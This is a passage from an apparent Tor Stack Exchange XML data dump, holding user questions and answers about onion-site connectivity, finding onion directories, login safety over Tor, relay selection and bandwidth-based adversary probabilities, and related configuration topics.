Giving up. (waiting for circuit) &#xA;15/11/2014 16:23:10 p.m..451 [NOTICE] Bootstrapped 50%: Loading relay descriptors &#xA;15/11/2014 16:23:11 p.m..293 [NOTICE] We now have enough directory information to build circuits. &#xA;15/11/2014 16:23:11 p.m..294 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;15/11/2014 16:23:11 p.m..294 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;15/11/2014 16:23:12 p.m..287 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;15/11/2014 16:23:12 p.m..287 [NOTICE] Bootstrapped 100%: Done &#xA;15/11/2014 16:23:15 p.m..449 [NOTICE] New control connection opened from 127.0.0.1. &#xA;15/11/2014 16:23:53 p.m..900 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5110" LastEditorUserId="923" LastEditDate="2014-11-27T11:30:22.443" LastActivityDate="2014-11-27T11:30:22.443" Title="Can't connect to onion sites &quot;hidden service is unavailable&quot;" Tags="|onion-services|help|" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-15T18:46:25.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="4618" PostTypeId="2" ParentId="4617" CreationDate="2014-11-15T18:27:24.927" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;15/11/2014 16:23:09 p.m..253 [NOTICE] Your system clock just jumped 3598 seconds forward; assuming established circuits no longer work.&lt;br&gt;&#xA;  15/11/2014 16:23:09 p.m..253 [NOTICE] Tried for 3608 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These indicate that your internal clock is off by 1 hour. Probably a time zone thing or a daylight saving thing. Altho it does seem to establish a circuit and successfully bootstrap, having your clock off is not good. Fixing that will likely solve your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, here is a service where you can check whether an onion is down just for you or for everyone. (I guess 'everyone' means: the host this checking service runs on..)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://onionup.com/&quot; rel=&quot;nofollow&quot;&gt;https://onionup.com/&lt;/a&gt; (clearnet)&lt;br&gt;&#xA;  &lt;a href=&quot;http://onionuptst6up7n2.onion/&quot; rel=&quot;nofollow&quot;&gt;http://onionuptst6up7n2.onion/&lt;/a&gt; (Tor net)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you get your links from an outdated or poorly maintained list, it's possible that many of them are in fact down.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-11-15T18:27:24.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4619" PostTypeId="1" CreationDate="2014-11-15T19:23:46.303" Score="14" ViewCount="309627" Body="&lt;p&gt;I heard one of my more software savvy friends at work telling me about the Tor Browser and about the deep web. I'm curious to find out what I can see. But I can't actually figure out how to get there. I'm not huge on knowing how VPN and IP addresses work but I even used DuckDuckGo and couldn't find anything besides normal sites. I haven't been able to find any .onion sites. &lt;/p&gt;&#xA;" OwnerUserId="5112" LastEditorDisplayName="user5" LastEditDate="2015-02-13T17:33:57.653" LastActivityDate="2015-02-13T17:33:57.653" Title="How do I find onion sites?" Tags="|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4620" PostTypeId="2" ParentId="4619" CreationDate="2014-11-15T20:32:30.100" Score="10" Body="&lt;p&gt;There are many onion sites that are basically lists of onion sites. But many of those are not maintained or not well. Here are some links to find more links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://skunksworkedp2cg.onion/sites.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://skunksworkedp2cg.onion/sites.html&lt;/a&gt;&lt;br&gt;&#xA;Harry71 - An auto-generated up to date list of sites. Search inside that page for 'links' and 'directory'.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://msydqstlz2kzerdg.onion/search/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://msydqstlz2kzerdg.onion/search/&lt;/a&gt;&lt;br&gt;&#xA;ahmia.fi - a search engine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://xmh57jrzrnw6insl.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://xmh57jrzrnw6insl.onion/&lt;/a&gt;&lt;br&gt;&#xA;Torch - a search engine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;DuckDuckGo is available as a hidden service, but as far as I know it does not crawl and index hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://tor.stackexchange.com/questions/3896/where-i-can-find-export-or-download-the-biggest-list-of-all-onion-addresses&quot;&gt;this related question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-11-15T20:40:23.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4623" PostTypeId="1" CreationDate="2014-11-16T05:27:31.393" Score="1" ViewCount="26" Body="&lt;p&gt;I have got admission in mphil and now i want to select research topic but i dont have any idea to select research topic. I want to select topic in Struts 2 or hibernate ORM.&lt;/p&gt;&#xA;" OwnerUserId="5114" LastActivityDate="2014-11-16T05:27:31.393" Title="Research topic for Mphil" Tags="|research|" AnswerCount="0" CommentCount="0" ClosedDate="2014-11-17T12:30:42.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="4625" PostTypeId="1" CreationDate="2014-11-16T16:32:40.653" Score="4" ViewCount="11969" Body="&lt;p&gt;Is it less or more safe to login to personal accounts (email, Amazon, etc.) when using Tor, compared to not using Tor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, using Tor browser, or Firefox/Chrome with Tor extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the cons and pros?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will my account information be recorded by the machines in Tor network that I am connecting to?&lt;/p&gt;&#xA;" OwnerUserId="5117" LastEditorUserId="923" LastEditDate="2014-12-26T02:10:49.307" LastActivityDate="2016-12-03T03:48:39.420" Title="Safe to login to personal accounts (email, Amazon, etc.) when using Tor?" Tags="|security|email|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4626" PostTypeId="1" CreationDate="2014-11-16T23:56:33.623" Score="1" ViewCount="327" Body="&lt;p&gt;I cannot log into websites.  Screen just refreshes and wipes out my login information.  Is there a way around this . . . a plugin or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.  I saw the other posts, but there weren't any answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5121" LastActivityDate="2014-11-16T23:56:33.623" Title="Can't log into websites" Tags="|blocked-services|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4627" PostTypeId="1" CreationDate="2014-11-17T00:28:16.673" Score="2" ViewCount="107" Body="&lt;p&gt;Also, will I have to disable firewall? I am fairly new to Tor, so dumb it down as best as you can. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5122" LastActivityDate="2014-11-17T00:28:16.673" Title="How do I run multiple proxies on Tor for windows?" Tags="|anonymity|firefox|" AnswerCount="0" CommentCount="1" ClosedDate="2016-09-09T20:48:59.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="4629" PostTypeId="2" ParentId="4625" CreationDate="2014-11-17T09:37:30.513" Score="2" Body="&lt;p&gt;If the server you connect to does not offer SSL/TLS, the Tor exit node sees all your request data. That may include valuable information like passwords, account numbers, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Tor to access a site that you plan to use with valuable or personal information, make sure SSL/TLS is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; See &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en#warning&lt;/a&gt; for general usage advice.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastEditorDisplayName="user66" LastEditDate="2014-11-18T07:29:34.480" LastActivityDate="2014-11-18T07:29:34.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4630" PostTypeId="1" AcceptedAnswerId="4642" CreationDate="2014-11-17T10:59:58.193" Score="2" ViewCount="72" Body="&lt;p&gt;Is there a higher probability, if an attacker is using one OR of bandwidth 5 MB/s than 5 ORs with each 1 MB/s? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you calculate the probability of picking a certain OR, you can use the weighted Bandwidth, because a OP is picking random ORs for the circuit, besides other characteristics proportional to its weighted Bandwidth. If you want to calculated the probability whether an malicious OR will be picked, I would draw the conclusion, that you can use the total of malicious (weighted)Bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example&lt;/em&gt;:&#xA;Lets say the attacker &lt;em&gt;Bob&lt;/em&gt; uses a 5 ORs, each 1MB/s bandwidth (total bandwidth 5 MB/s).&#xA;And attacker &lt;em&gt;Lucy&lt;/em&gt; uses only one OR with a total bandwidth of 5 MB/s.&#xA;Would there be a difference in terms of probability? What is more likely? An OR of Bob being picked or from Lucy?&lt;/p&gt;&#xA;" OwnerUserId="5191" LastEditorUserId="5191" LastEditDate="2014-11-20T14:16:52.507" LastActivityDate="2014-11-23T17:07:48.277" Title="Probability by bandwidth: Using multiple or one Relay with equal total Bandwidth" Tags="|relays|circuit|client|bandwidth|relay-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4631" PostTypeId="2" ParentId="3639" CreationDate="2014-11-17T11:15:14.193" Score="4" Body="&lt;p&gt;Your log tells you, that you &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;have no usable consensus.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I guess, its not about the &lt;em&gt;restricted sites&lt;/em&gt; you like to visit, its about your firewall, not letting you connect to the tor-default bridges behind 109.105.109.163. &#xA;Restart your Tor-Client and read this information for a possible solution: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#BehindANAT&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#BehindANAT&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5191" LastActivityDate="2014-11-17T11:15:14.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4632" PostTypeId="1" CreationDate="2014-11-17T14:56:34.000" Score="3" ViewCount="6023" Body="&lt;p&gt;I  heard of the Tor browser from friend and downloaded it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm  curious to see what exists on the .onion sites but all the ones I tried shows me an error message telling me that there is a connection problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if I have properly configure Tor and if not, how can I make it correctly?&lt;/p&gt;&#xA;" OwnerUserId="5127" LastEditorUserId="435" LastEditDate="2015-04-13T19:39:09.900" LastActivityDate="2016-10-07T03:40:46.327" Title="How to open a .onion site?" Tags="|onion-services|help|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4633" PostTypeId="1" CreationDate="2014-11-17T18:38:59.143" Score="1" ViewCount="46" Body="&lt;p&gt;Tor version format is explained in &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#VersionNumbers&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;. In &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/ec13d2e0c62bcfe6c982176196631c5a5ec1c471:/tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor specification&lt;/a&gt; (section 4.1), I found what they call &quot;Tor link connection version&quot; which based on my understanding could be one, two or higher.. my questions are these two versions the same? If not where can I find information about the tor link connection protocol version? If they are same, is the minor number corresponds to the link connection protocol version? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3532" LastActivityDate="2014-11-17T18:38:59.143" Title="Are Tor version and Tor link connection version same?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4634" PostTypeId="1" CreationDate="2014-11-18T03:54:09.527" Score="1" ViewCount="85" Body="&lt;p&gt;Beyond the resources required to run whatever additional server software, how much RAM / CPU overhead should a hidden service operator factor in when estimating requirements?&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-12-12T10:51:47.050" Title="What computing resources are required to run a hidden service?" Tags="|onion-services|web-hosting|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4636" PostTypeId="2" ParentId="4113" CreationDate="2014-11-18T10:24:41.573" Score="3" Body="&lt;p&gt;The Circuit-Build-Times are measured and saved for the CircuitBuild-Timeouts. So Tor is logging the time it takes to build a Circuit. The CircuitBuild-Timeouts are then used to eliminate circuits which need excessive time to build. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assumption is, that circuits, which need such a long time to be build, are more likely to be highly congested. So the purpose of not using slow-building-circuits, is get the better performance for the user as well as to relieve relays which are used to capacity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CircuitBuild-Timeouts differ for every user because they depend on numerous factors (such as the local connection to the internet, the state of the tor-network, the state of the relays in the circuit and much more). This is why the 1000 most recent circuit build times are gathered and stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information read the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=path-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Path-Spec&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5191" LastActivityDate="2014-11-18T10:24:41.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4637" PostTypeId="1" AcceptedAnswerId="4680" CreationDate="2014-11-18T11:00:08.927" Score="9" ViewCount="5456" Body="&lt;p&gt;I am running a Tor relay on a remote server that is hosted in a professional server farm about 1000 km away from my home. I am absolutely sure, that this Tor relay is secure because I am root on this server (which is a virtual root server), because I did install the Tor relay, and because there is no other user on that machine than me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many scenarios for attacks against anonymity of Tor users, and many of them include a modified software running a Tor relay that records traffic of this node and compares it with traffic from other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think I could lower the risk of being victim of such an attack by telling my local Tor browser to use my own Tor relay as my entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are my questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it true that I can avoid some attack scenarios with my strategy without being target for new ones? Even if my server is a virtual root-server in a remote server farm?  &lt;/li&gt;&#xA;&lt;li&gt;Where can I find the settings to tell my local Tor Browser Bundle to always use only the IP-address of my own relay as entry point?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1856" LastEditorUserId="923" LastEditDate="2014-11-26T19:24:02.443" LastActivityDate="2014-11-30T14:28:39.687" Title="How to tell my Tor Browser to use a certain relay as entry point?" Tags="|tor-browser-bundle|attacks|settings|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4639" PostTypeId="1" CreationDate="2014-11-19T13:45:10.077" Score="2" ViewCount="123" Body="&lt;p&gt;I am trying to understand exactly how the different solutions for the congestion control mechanism work and what purpose they achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &quot;the solutions&quot; I mean the circuit level throttling and the stream level throttling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;English is not my first language which might be the cause to why I don't understand this clear enough.&#xA;To make it easy to answer, I'll provide a couple of links I am reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cnds.eecs.jacobs-university.de/courses/nds-2008/moradlou-tor.pdf&quot; rel=&quot;nofollow&quot;&gt;http://cnds.eecs.jacobs-university.de/courses/nds-2008/moradlou-tor.pdf&lt;/a&gt; (page 14)&#xA;&lt;a href=&quot;http://web.cs.hacettepe.edu.tr/~abc/teaching/bil656/presentations/OzlemKahramanEr.pdf&quot; rel=&quot;nofollow&quot;&gt;http://web.cs.hacettepe.edu.tr/~abc/teaching/bil656/presentations/OzlemKahramanEr.pdf&lt;/a&gt; (page 10)&lt;/p&gt;&#xA;" OwnerUserId="5133" LastEditorUserId="923" LastEditDate="2014-11-19T16:06:23.583" LastActivityDate="2014-11-19T16:06:23.583" Title="What purpose does congestion control achieve, and how does it work?" Tags="|relays|security|protocol|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4640" PostTypeId="1" CreationDate="2014-11-19T18:24:35.630" Score="2" ViewCount="297" Body="&lt;p&gt;&lt;a href=&quot;http://www.bittorrent.org/beps/bep_0005.html&quot; rel=&quot;nofollow&quot;&gt;BitTorrent.org&lt;/a&gt; explains that: 'BitTorrent uses a distributed sloppy hash table&quot; (DHT) for storing peer contact information for &quot;trackerless&quot; torrent.' Because DHT for BitTorrent operates on UDP, it cannot be accessed via Tor as far as I am aware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone suggest any means for DHT &lt;em&gt;tracking of torrents&lt;/em&gt; (not downloading the torrent!) to be used over Tor please ?&lt;/p&gt;&#xA;" OwnerUserId="5135" LastEditorUserId="923" LastEditDate="2014-11-20T12:16:33.393" LastActivityDate="2014-11-20T12:16:33.393" Title="How can the BitTorrent DHT for a specific torrent be accessed over Tor?" Tags="|bittorrent|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4642" PostTypeId="2" ParentId="4630" CreationDate="2014-11-20T15:30:24.863" Score="1" Body="&lt;p&gt;There are multiple practical reasons where five ORs of bandwidth X MB/s each could be superior to one OR of bandwidth 5X MB/s. There are some restrictions and exceptions to this point in general. This list is not meant to be the comperhensive list of all possible advantages and/or disadvantages, but give you enough clues to get the idea. Let us start and list some of them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Down times&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any system would have down time for variety of reasons. Five distributed system is much less prone to catastrophic failure than one centeral system. This is straight out of a basic reliability manual. In this case at down times Lucy would have zero probability of success, while Bob would have some probability of success. This assumes all five systems will not go down simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Distribution&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is clear that one 5X system can be located at a single location, while five systems can be distributed worldwide. One scenario may look at distribution of relays worldwide and distribute the five relays at the top five locations that relays are located at (Germany, France, US, etc.). Now the attacker can make sure that folks who may reject certain locations due to their convictions, still have a chance of falling into trap.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Efficency&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Having 5X amount of bandwidth does not necessarily means that it is fully being utilized. &#xA;If anybody for any reason suspect an specific relay or a country that a given relay is located at, it maybe avoided. This can go to a point that the relay is no longer working efficiently. Distributing the system to several smaller units at different locations and under different names will alleviate this problem. In addition each relay can be configured to accept or reject specific tasks independently. This makes the analysis of data much faster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Short it is not enough to produce a 5X MB/s relay. One need to gain the trust or at least the perceived trust of Tor and its users to be efficiently effective attacker (or non attacker for that matter). This can be facilitated by starting a large number of relays rather than a small number of relays even at constant capacity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, there maybe a cost disadvantage to running multiple relays even at constant capacity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the restrictions and exceptions to this analysis are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The total bandwidth should not be so low that when you divide it into several parts it become unusable. I believe, if not mistaken, the minimum advisable relay bandwidth per Tor guidlines is currently about 250 kB/s.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The cost analysis should not be so prohibitive that make this exercise untenable. If you can increase the capacity with some of this fund you may do so and make  the best compromizes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-11-23T17:07:48.277" LastActivityDate="2014-11-23T17:07:48.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4643" PostTypeId="1" CreationDate="2014-11-20T16:20:36.170" Score="2" ViewCount="873" Body="&lt;p&gt;I'm a first time user of Tor.  My search result using the Tor browser does not include the http:// in the URL bar.  And the results (an online newspaper) looks &quot;funny&quot; and h as letters and writing all over it that's normally not there.  Why can't I get the http: in the URL bar ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I using the browser wrong?&lt;/p&gt;&#xA;" OwnerUserId="5139" LastEditorDisplayName="user5" LastEditDate="2014-11-23T04:28:12.800" LastActivityDate="2019-02-07T22:05:18.847" Title="No http:// in the URL bar of my search results using Tor browser" Tags="|tor-browser-bundle|url|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4644" PostTypeId="2" ParentId="4643" CreationDate="2014-11-20T17:17:54.373" Score="3" Body="&lt;p&gt;The Tor browser is based on Firefox, which since some time doesn't display the &quot;http://&quot; part of the URL you navigated to. This simply mirrors the fact that you don't need to type &quot;http://&quot; at the start of the URL in any modern browser, so it's not really helpful to display it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;will&lt;/em&gt; display &quot;https://&quot; if you go to SSL-enabled sites.&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2014-11-20T17:17:54.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4645" PostTypeId="1" CreationDate="2014-11-20T22:42:09.620" Score="2" ViewCount="2593" Body="&lt;p&gt;I'm new to Tor, and so far I've managed to get public &amp;amp; secret keys. But when I try to run my public key on my Tor browser, it says &quot;Unable to Connect&quot; and the sub-line is &quot;Firefox can't establish a connection to the server at localhost.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed the instructions many times and also watched some videos but no luck. And almost everytime I configured Tor, I see this message &quot;Congratulations. This browser is configured to use Tor.&quot;, but still can't access my onion site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So please guide me where I'm making a mistake or what steps do I need to follow to configure  Tor browser correctly to do the task. Also do I need Xampp/Wampp local server for this? If yes! than I'm already using Xampp. After messing with it for many days it is still confusing to me. So please guide me with best practices or solution. thanks.&lt;/p&gt;&#xA;" OwnerUserId="5143" LastEditorUserId="923" LastEditDate="2014-11-21T15:47:20.403" LastActivityDate="2016-03-10T13:47:03.770" Title="Tor Secret Key isn't working on local host server" Tags="|tor-browser-bundle|onion-services|configuration|" AnswerCount="0" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4648" PostTypeId="1" CreationDate="2014-11-21T04:09:18.223" Score="1" ViewCount="161" Body="&lt;p&gt;According to this &lt;a href=&quot;https://www.nikcub.com/posts/onymous-part1/&quot; rel=&quot;nofollow&quot;&gt;analysis&lt;/a&gt;, many of the sites taken down by onymous were legal:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are almost 200 sites that have been seized that are not mentioned in any seizure notice or press release. These include the (real) sites for Fish Squad, Exposed, Hack the Planet, Cash Machine, DOXBIN, Pink Meth, OnionSphere, Mr Ouid’s Forum. That list includes personal websites, forums or other sites that had no outward appearance of illegal activity, and they are also not mentioned in any court or press documents. These sites were seized with what appears to be no, or little legal justification.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any indication of the people whose webpages were taken down apparently illegally have sued and/or intend to sue the FBI and/or any other entity over the apparent illegal seizure? Is there any indication of Class action lawsuit being prepared in this matter?&lt;/p&gt;&#xA;" OwnerUserId="232" LastEditorUserId="923" LastEditDate="2014-11-26T08:07:16.183" LastActivityDate="2014-11-26T08:07:16.183" Title="Is any body aware if the people whose pages were seized illegally have sued or intend to sue the FBI?" Tags="|onion-services|legal|" AnswerCount="0" CommentCount="1" ClosedDate="2014-11-21T13:47:28.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="4649" PostTypeId="1" CreationDate="2014-11-21T09:04:26.113" Score="5" ViewCount="919" Body="&lt;p&gt;There is information that NSA is building quantum computer. Since it would make it possible to crack RSA using Shor's algorithm and we unlikely to know if they will successfully build it and start using, this becomes serious security problem. Would Tor team preventively implement post-quantum algorithms?&lt;/p&gt;&#xA;" OwnerUserId="5148" LastEditorUserId="55" LastEditDate="2015-02-09T00:34:18.750" LastActivityDate="2015-02-09T00:34:18.750" Title="Does Tor team have plans to implement post-quantum asymmetrical encryption schemes?" Tags="|security|attacks|encryption|surveillance|global-adversary|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4650" PostTypeId="1" CreationDate="2014-11-21T22:19:04.670" Score="1" ViewCount="1150" Body="&lt;p&gt;I want to create a short website link that anonymizes both the people going to the content of the site and partly the source of that sites content.&#xA;I once saw a site that could shrink the URL and anonymise it by loading the site through a Tor proxy. &lt;/p&gt;&#xA;" OwnerUserId="5150" LastEditorUserId="114" LastEditDate="2014-11-22T12:12:42.310" LastActivityDate="2014-11-22T12:12:42.310" Title="How do I make a short anonymous URL link for a website?" Tags="|anonymity|web-proxy|url|website|" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-21T23:32:22.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="4651" PostTypeId="2" ParentId="4649" CreationDate="2014-11-22T04:02:49.817" Score="-1" Body="&lt;p&gt;Tor explicitly state that : Tor does not protect you from global adversary. NSA is the prime example of global adversary. This is true even before implementation of quantum algorithm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your reference read the following quote from Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Tor doesn't protect you from a global adversary&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A global passive adversary would be a person or an entity able to&#xA;  monitor at the same time the traffic between all the computers in a&#xA;  network. By studying, for example, the timing and volume patterns of&#xA;  the different communications across the network, it would be&#xA;  statistically possible to identify Tor circuits and thus matching Tor&#xA;  users and destination servers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is part of Tor's initial trade-off not to address such a threat in&#xA;  order to create a low-latency communication service usable for web&#xA;  browsing, Internet chat or SSH connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you hear from horse's mouth quantum algorithm or no quantum algorithm Tor does not protect you from NSA or similar Global adversaries which pretty soon will be any entity which in willing to spend enough fund to obtain the information independently. Genie is already out of the bottle!&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-11-24T11:23:36.210" LastActivityDate="2014-11-24T11:23:36.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4652" PostTypeId="1" AcceptedAnswerId="4655" CreationDate="2014-11-22T11:51:50.197" Score="14" ViewCount="47247" Body="&lt;p&gt;I am new to Tor and linux in general, but I have installed Kali linux and installed Tor and downloaded Tor bundle, but I realised only when I browse through the Tor bundle browser is when my traffic is being channeled through Tor, excluding any other browser and application. Please advise how can I channel all my network traffic on Kali linux to pass through the Tor network. Note I am newbie to Tor and Kali.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="88" LastEditDate="2019-06-07T21:23:17.840" LastActivityDate="2019-06-07T21:23:17.840" Title="How to channel all traffic on Kali linux through Tor?" Tags="|configuration|linux|kali-linux|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
